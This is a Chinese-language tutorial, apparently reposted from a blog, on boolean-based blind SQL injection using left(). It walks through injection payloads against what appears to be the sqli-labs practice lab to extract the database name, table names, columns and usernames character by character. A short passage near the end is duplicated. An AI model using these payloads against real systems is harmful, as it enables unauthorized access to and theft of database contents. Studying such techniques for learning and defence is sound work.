SQL注入——盲注(left方法)

Posted xialuoxialuo

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入——盲注(left方法)相关的知识,希望对你有一定的参考价值。

SQL注入——盲注(left方法)

1、拿到题目后首先判断闭合规则,目前有如下几种情况

select id=’ ’

select id=" "

select id=’( )’

select id="( )"

select id =( )

二、fuzz规则

通过 order by 10000 --+ 来作为结尾 前面fuzz数据库的闭合规则

在id = 1“ 时 页面回显异常 说明 闭合方式为第二种 双引号闭合

三、之后开始猜测数据库名

第一条payload为 id=1" and left(database(),1)>'a' --+

介绍一下left函数 left(参数1,参数2) 意为 将参数1从左开始取参数2个

示例: left(abc,2) 返回值为ab

之后将他与字符串进行比较 例如 left(abc,1)>'a' 返回结果为false 因为 ‘a’=‘a’

同样的left(abc,2)>'aa' 返回结果为TURE 因为‘ab’是要大于‘aa’

根据返回的结果的真假 与前面的语句用and相连接 构造逻辑关系

及 后面结果为真 页面就正常回显 若后面的语句为假 则 页面回显异常

四、探测库名

1、第一位字母

使用2分法 第一条payload为

?id=1" and left(database(),1)>'l' --+

页面回显正常

之后尝试

?id=1" and left(database(),1)>‘s’ --+

发现页面回显异常

?id=1" and left(database(),1)='s' --+

此时页面正常回显 可知数据库第一位为s

2、第二位字母

之后探测第二位字母

payload为

?id=1" and left(database(),2)>'sl' --+

页面回显异常 说明第二位字母 比 l 要小

在尝试到e时回显正常 payload为

?id=1" and left(database(),2)='se' --+

3、如何判断结尾在哪里

之后几位字符自行尝试

注:当出现如下情况时

payload为:?id=1" and left(database(),9)>'securitya' --+

数据库库名的第九位是否比‘a’大 但是回显异常,却又不等于A时 说明库名已经猜测完毕

及库名就为security

五、猜解表名

有了数据库的库名之后 我们要开始猜解数据库中的表名

payload:

?id=1" and left((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1)>'l' --+

页面异常

经过尝试可知 第一个表名的首字母为e

5、2第二个表名

?id=1" and left((select table_name from information_schema.tables where table_schema = 'security' limit 1,1),1)>'l' --+

通过修改limit 开始对第二个表名进行猜测

可知第二个表名首字母为r

之后过程相同 不再重复说明

六、猜解列名

payload:

?id=1" and left((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1)>'l' --+

回显异常

之后过程相同不再说明

知识补充(limit)

left中的语句

select table_name from information_schema.tables where table_schema = 'security' limit 0,1

意为从infomation_schema.tables 这张表中选出 table_name那一列 这列的table_schema要为security

limit 0,1 是 从返回的结果中 显示第一行 一共显示一行

效果如下

不加limit时返回结果

limit 0,1时的结果,返回了第一行 仅显示一行

limit 0,2时的结果 返回了第一行 显示两行

七、表中字段名

payload:

?id=1" and left((select username from security.users limit 0,1),1)>'l' --+

]

limit 0,2时的结果 返回了第一行 显示两行

七、表中字段名

payload:

?id=1" and left((select username from security.users limit 0,1),1)>'l' --+

同理

以上是关于SQL注入——盲注(left方法)的主要内容,如果未能解决你的问题,请参考以下文章

Sql注入-6:布尔注入(上)

web安全sql注入盲注&布尔&延时&报错

Web安全漏洞原理及防御

sql注入学习基于布尔 SQL 盲注

SQL注入之布尔型盲注

Sqlilab盲注基础